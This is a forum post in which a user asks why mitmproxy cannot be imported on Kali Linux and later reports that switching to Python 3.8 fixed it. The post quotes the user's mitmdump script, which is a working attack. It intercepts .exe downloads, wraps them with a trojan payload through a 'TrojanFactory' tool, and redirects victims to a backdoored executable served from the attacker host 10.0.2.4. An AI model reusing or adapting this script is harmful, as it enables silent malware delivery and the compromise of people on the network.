Issue with mitmproxy

I’ve got a problem executing a mitmproxy script using mitmdump. I get a “no module called mitmproxy” error, but mitmproxy is installed. I did pip install mitmproxy but it’s already satisfied:
Requirement already satisfied: six in /usr/lib/python2.7/dist-packages (from singledispatch->tornado>=4.0.2->mitmproxy) (1.14.0)
I tried with apt-get install but Kali tells me I’ve got the newest version:
mitmproxy is already the newest version (6.0.2-1).
Weird is that the script worked before but now I’m dealing with this issue.
My script looks like this:

import mitmproxy
import subprocess

def request(flow):
#code to handle request flows

if flow.request.host != "10.0.2.4" and flow.request.pretty_url.endswith(".exe"):
	print("[+] Got interesting flow")
	
	front_file = flow.request.pretty_url + "#"
	subprocess.call("python /opt/TrojanFactory/trojan_factory.py -f '" + front_file + "' -e http://10.0.2.4/evil-files/final_4444_tcp.exe# -o /var/www/html/evil-files/file.exe -i /root/Downloads/WinZip.ico", shell=True)
	
	flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location": "http://10.0.2.4/evil-files/final_4444_tcp.exe"})

Can anyone help me out with this?

Weird is also that it works om my Ubuntu machine. I Successfully installed the mitmproxy module using pycharm and executed the script on my Ubuntu 2020.4 without any error.
I created an virtual venv on my kali machine trying to install third party modules, but the mitmproxy module doesn’t want to install either. I installed Pycharm on my Kali machine, but also there I get an error when I try to install mitmproxy. So is it maybe a Kali or Debian bug I’m dealing with?

I know now why mitmproxy module is not found. It’s a python 3,9 issue. In Pycharm I can’t install mitmproxy module when 3.9 or 2.7 interpreter are configured, but with python 3.8 I’m able to install the module and run the script. So I installed python 3.8 on my Kali machine and now I can run the script without any errors.